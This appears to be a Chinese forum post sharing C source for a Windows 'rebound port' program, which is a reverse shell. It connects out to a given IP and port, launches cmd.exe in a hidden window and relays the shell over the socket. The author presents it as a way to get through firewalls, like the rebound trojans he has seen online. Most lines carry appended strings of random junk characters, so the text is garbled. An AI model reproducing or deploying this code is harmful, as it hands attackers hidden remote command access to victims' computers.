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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 e^kccz2f  
!GI*R2<W  
/* ============================== <,p|3p3  
Rebound port in Windows NT *O-1zIlp  
By wind,2006/7 bOjvrg;Sz\  
===============================*/ Poy ]5:.  
#include o`S|  
#include UwOZBF<  
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#pragma comment(lib,"wsock32.lib") =H6"\`W  
vaL+@Kq~&  
void OutputShell(); (dD+?ZOO  
SOCKET sClient; ,73 kh  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )\!_`ob  
'9^+J7iO(+  
void main(int argc,char **argv) W^; wr#  
{ -=BQVJ_dK{  
WSADATA stWsaData; .Tr!/mf_  
int nRet; nIdB,  
SOCKADDR_IN stSaiClient,stSaiServer; V5sH:A7GJ  
hJY= )  
if(argc != 3) :l>&5w;  
{ %UZ_wsY\  
printf("Useage:\n\rRebound DestIP DestPort\n");  z}\TS.  
return; }~pT saw  
} xc)A`(g  
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WSAStartup(MAKEWORD(2,2),&stWsaData); *sK")Q4N  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I>ks H  
V`xZ4 i%L  
stSaiClient.sin_family = AF_INET; ^@?-YWt   
stSaiClient.sin_port = htons(0); rX*4$d0  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $"&0  
am,UUJ+h>  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rFJ(t7\9h  
{ ;u`zZb=,[  
printf("Bind Socket Failed!\n"); S^nshQI  
return; 8 CKN^8E  
} WE\@ArY>  
,'[L6=#  
stSaiServer.sin_family = AF_INET; |uo<<-\jTO  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )]x/MC:9r  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y ,][  
#xL^S9P  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) XnC`JO+7M  
{ 2eErvfC[  
printf("Connect Error!"); YEfa8'7R  
return; ?K, xxH  
} pvCn+y/U;  
OutputShell(); "@: b'm  
} xo{3r\u?}  
USF&;M3  
void OutputShell() yZ?|u57  
{ I4'mU$)U  
char szBuff[1024]; MX!t/&X(n  
SECURITY_ATTRIBUTES stSecurityAttributes; gP=(2EVE  
OSVERSIONINFO stOsversionInfo; df@IC@`pB  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; fNb2>1  
STARTUPINFO stStartupInfo; heQ<%NIA"  
char *szShell; {p J{UJKv?  
PROCESS_INFORMATION stProcessInformation; XBQ]A89G  
unsigned long lBytesRead; ,iKEIxA!  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gC^4K9g  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t\LAotTF/  
stSecurityAttributes.lpSecurityDescriptor = 0; rPaUDR4U  
stSecurityAttributes.bInheritHandle = TRUE; s))L^|6  
U~!yGjF  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); cHN eiOF  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >C,=elM  
QC@nRy8%  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hAx#5@*5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7_t\wmvYp  
stStartupInfo.wShowWindow = SW_HIDE; +$Q.N{LV  
stStartupInfo.hStdInput = hReadPipe; ,<iJ#$: Sx  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; y\-f{I  
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GetVersionEx(&stOsversionInfo); ap|7./yg  
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switch(stOsversionInfo.dwPlatformId) T=lir%q  
{ GFM $1}  
case 1: >q+o MrU  
szShell = "command.com"; J9s4lsea  
break; vY|{CBGbd  
default: wX(h]X"q  
szShell = "cmd.exe"; paFiuQ  
break; E.*TJ  
} 6zuWG0t  
E/x2LYH  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #H9J/k_  
! 63>II  
send(sClient,szMsg,77,0); Z"spua5  
while(1) WjfUbKg0  
{ r![RRa^  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j2GO ZKy  
if(lBytesRead) q2Xm~uN`)  
{ ]fc9m~0N,\  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ZJUTtiD  
send(sClient,szBuff,lBytesRead,0); 3GMRH;/w  
} Ejc%DSG  
else h<KE)^).  
{ U)IW6)q  
lBytesRead=recv(sClient,szBuff,1024,0); 9+'QH  
if(lBytesRead<=0) break; l :sZ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z}#, E ;  
} Oc\Bu6F  
} .&Uu w  
;r(hZ%pD  
return; n _G< /8  
}
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